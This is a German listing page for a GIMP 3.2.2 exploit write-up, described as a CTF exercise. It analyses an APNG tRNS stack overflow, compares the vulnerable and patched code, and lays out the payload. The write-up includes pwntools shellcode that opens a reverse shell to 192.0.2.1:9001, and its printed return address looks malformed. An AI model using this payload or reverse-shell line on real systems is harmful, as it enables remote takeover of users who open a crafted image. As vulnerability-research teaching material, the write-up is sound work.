Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-92183_GIMP_RCE_Proof-of-Concept — GIMP 3.2.2 enthält einen stackbasierten Pufferüberlauf im APNG-Loader (load_apng_image) bei der Verarbeitung des tRNS-Chunks (Transparenz). Diese Ausarbeitung demonstriert einen Proof of Concept für Remote-Code-Execution unter Ausnutzung dieser Schwachstelle. | Kitploit
Tools/GitHubGitHub/cxu0630/cve-2026-92183_gimp_rce_proof-of-concept
SpeicherforensikPayload-GenerierungSchwachstellenanalyseExploitationReverse EngineeringShellcodePapers & ForschungLernen & BildungBinary-Exploitation
Teilen
GitHubcxu0630/cve-2026-92183_gimp_rce_proof-of-concept

CVE-2026-92183_GIMP_RCE_Proof-of-Concept

GIMP 3.2.2 enthält einen stackbasierten Pufferüberlauf im APNG-Loader (load_apng_image) bei der Verarbeitung des tRNS-Chunks (Transparenz). Diese Ausarbeitung demonstriert einen Proof of Concept für Remote-Code-Execution unter Ausnutzung dieser Schwachstelle.

Repository anzeigen
7vor 16 TagenNoch nicht geprüft

CVE-2026-92183: GIMP APNG tRNS Stack Buffer Overflow → RCE

Autor: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Datum: 2026-11-03
Ziel: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 HIGH)
CWE: CWE-121: Stack-based Buffer Overflow
Auswirkung: Remote Code Execution (über eine bösartige PNG/APNG-Datei)

Haftungsausschluss: Dieser Writeup dient ausschließlich Bildungszwecken. Die CVE- und Versionsnummern stammen aus einer kontrollierten akademischen/CTF-Übung. Verwenden Sie dies nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.


1. Überblick

GIMP 3.2.2 enthält einen stackbasierten Pufferüberlauf in seinem APNG-Loader (load_apng_image) bei der Verarbeitung des tRNS-Chunks (Transparenz). Die Chunk-Länge wird ohne Validierung gegen den festen 256-Byte-Zielpuffer trns[256] vertraut, wodurch ein Angreifer den Stack überschreiben und die Kontrollflussübernahme erlangen kann.

Der bestehende öffentliche Writeup demonstriert lediglich eine Denial-of-Service-Attacke (GIMP stürzt ab). Dieses Dokument erweitert die Analyse zu einem vollständigen Reverse-Shell-Exploit durch:

  1. Erstellen einer gültigen PNG-Datei, die GIMP über acTL/fcTL-Chunks auf den APNG-Parsing-Pfad zwingt.
  2. Injizieren eines bösartigen tRNS-Chunks, dessen Länge 256 Bytes überschreitet.
  3. Platzieren von Shellcode auf dem Stack und Überschreiben der gespeicherten Rücksprungadresse, um in diesen zu springen.

Der Exploit geht von einer nicht gehärteten Umgebung aus (ASLR deaktiviert, NX deaktiviert, kein Stack-Canary), wie in den Referenzfolien beschrieben. Wir erörtern außerdem, warum diese Schutzmaßnahmen wichtig sind und wie sich der Exploit verhält, wenn sie aktiviert sind.


2. Schwachstellenanalyse

2.1 PNG- und APNG-Chunk-Struktur

Eine PNG-Datei besteht aus Chunks:

FeldGröße
Länge4 Bytes (Big-Endian)
Chunk-Typ4 Bytes (ASCII)
Chunk-DatenLength Bytes
CRC4 Bytes

APNG erweitert PNG um zusätzliche Ancillary-Chunks:

  • acTL (Animation Control) — kennzeichnet die Datei als APNG. Muss vor dem ersten IDAT erscheinen.
  • fcTL (Frame Control) — geht den Daten jedes Frames voraus.
  • fdAT (Frame Data) — enthält Frame-Daten (Alternative zu IDAT für nachfolgende Frames).

GIMPs PNG-Plugin (file-png) verzweigt zu load_apng_file, wenn es einen acTL-Chunk sieht, selbst wenn die Dateiendung .png ist.

2.2 Der verwundbare Code

Aus dem Patch-Diff:

Verwundbare Version (GIMP 3.2.2):

else if (png_id == id_tRNS)
{
    for (gint i = 0; i < chunk.size; i++)
        trns[i] = chunk.data[i + 8];
}

Gepatchte Version (GIMP 3.2.6):

gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
    trns[i] = chunk.data[i + 8];

Der Zielpuffer ist deklariert als:

guchar trns[256];

Da chunk.size direkt aus der Datei gelesen wird und nicht begrenzt ist, läuft ein tRNS-Chunk mit size > 256 über trns[] auf dem Stack über. Der Offset + 8 zeigt an, dass chunk.data auf den Anfang des Chunks zeigt (einschließlich des 8-Byte-Headers aus Länge und Typ), sodass chunk.data[i + 8] die tatsächlichen Datenbytes liest.

2.3 Erreichen der verwundbaren Funktion

Ablaufdiagramm zum Erreichen von load_apng_image()

Wenn eine Datei geöffnet wird, wählt der GIMP-Kern den Loader aus, bevor irgendein Plug-in-Code ausgeführt wird. file_open_pre_check() ruft gimp_plug_in_manager_file_procedure_find() auf, das anhand der Erweiterung oder der Magic-Bytes abgleicht. Eine .apng-Datei wird an file-apng-load weitergeleitet, und eine Datei mit der PNG-Signatur wird an file-png-load weitergeleitet. Der Kern führt die gewählte Prozedur über gimp_plug_in_manager_call_run() aus, das das file-png-Plug-in als Kindprozess startet und den Prozedurnamen sowie die Argumente über eine Pipe sendet. Im Kindprozess wird immer zuerst load_image() ausgeführt, das die Basis-PNG-Ebene aufbaut. Anschließend ruft apng_load() bedingungslos load_apng_image() auf. png_load() ruft es nur auf, wenn load_image() einen png/fcTL-Chunk gesehen hat. load_apng_image() öffnet die Datei erneut und parst die Chunks selbst, sodass der vorherige libpng-Durchlauf für sie nichts validiert. png_load() ignoriert zudem seinen Rückgabewert und meldet in beiden Fällen Erfolg.

Der Kindprozess wird von gimp_spawn_async() erzeugt, das auf POSIX-Systemen vfork() und dann sofort execve() aufruft (app/core/gimp-spawn.c:171-199). execve() verwirft die Speicherzuordnungen des Kindprozesses und lädt die file-png-Binärdatei und ihre Bibliotheken von Grund auf neu. Der Kindprozess enthält daher weder Heap noch Stack des Elternprozesses, und auf Systemen mit ASLR erhält er bei jedem Öffnen eines Bildes ein frisches Adresslayout. Was den exec überlebt, sind die Prozess-ID, die Benutzerrechte, die von GIMP übergebene Umgebung und alle Dateideskriptoren, die nicht als close-on-exec markiert sind. Dazu gehören die beiden auf der Kommandozeile übergebenen Pipe-Enden. Die eigenen Pipe-Enden des Elternprozesses sind als close-on-exec markiert, damit der Kindprozess sie nicht erbt. Dies isoliert den Speicher, sandboxt den Kindprozess jedoch nicht. Ein kompromittierter Kindprozess kann weiterhin als der Benutzer ausgeführt werden, dieselben Dateien lesen und dem Elternprozess über die Pipe und den gemeinsamen Speicher manipulierte Nachrichten und Tile-Daten senden.


3. Exploit-Entwicklung

3.1 Stack-Layout und Offset

Der Stack-Frame der verwundbaren Funktion (vereinfacht, kompiliert mit -O2 -z execstack -fno-stack-protector):

+------------------+  <- lower addresses
| trns[256]        |  (offset 0)
+------------------+
| ...              |
| saved RBP        |
| saved RIP        |  <- return address
+------------------+  <- higher addresses

Der exakte Offset vom Anfang von trns zur gespeicherten Rücksprungadresse hängt vom Compiler und den umgebenden lokalen Variablen ab. In der Referenzumgebung beträgt er 312 Bytes. Wir haben dies ermittelt durch:

  1. Senden eines zyklischen Musters als tRNS-Daten.
  2. Absturz von GIMP unter GDB.
  3. Untersuchen des Werts von RIP beim Absturz und Berechnen des Offsets mit cyclic_find().

Bei -O2 wird der Schleifeniterator i wahrscheinlich in einem Register gehalten, sodass er nicht zwischen dem Puffer und der Rücksprungadresse liegt. Der 312-Byte-Offset berücksichtigt trns[256] plus Ausrichtung und andere gespeicherte Register.

3.2 Payload-Layout

Die tRNS-Daten sind:

[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
  • Filler füllt trns und erreicht die gespeicherte Rücksprungadresse.
  • Rücksprungadresse = 0x7ffffffffdeb2 + 0x10 (zeigt in den NOP-Sled).
  • NOP-Sled stellt eine Landefläche bereit.
  • Shellcode führt execve("/bin/bash", ...) aus, um eine Reverse Shell zu starten.

Shellcode (generiert mit pwntools):

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

Der execve ersetzt den file-png-Kindprozess durch eine Shell. Da GIMP einen Kindprozess für die Plugin-Ausführung forkt, überlebt die Shell unabhängig vom Haupt-GIMP-Prozess (der hängt und auf das Plugin wartet). Der Angreifer erhält eine Reverse Shell auf Port 9001.


Tool herunterladen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    985
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    571
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-seitiges Red-Team-Toolkit mit 102 Offline-Tools für Recon, Payload-Generierung, Credential-Angriffe, Krypto, Encoding und Engagement-Reporting.

    341
  • 5

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Das System der Handlung für KI-native Cybersicherheit – wo Absicht zu gesteuerter Ausführung wird, Beweise zu operativem Gedächtnis werden und jeder Einsatz den nächsten verbessert.

    309

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →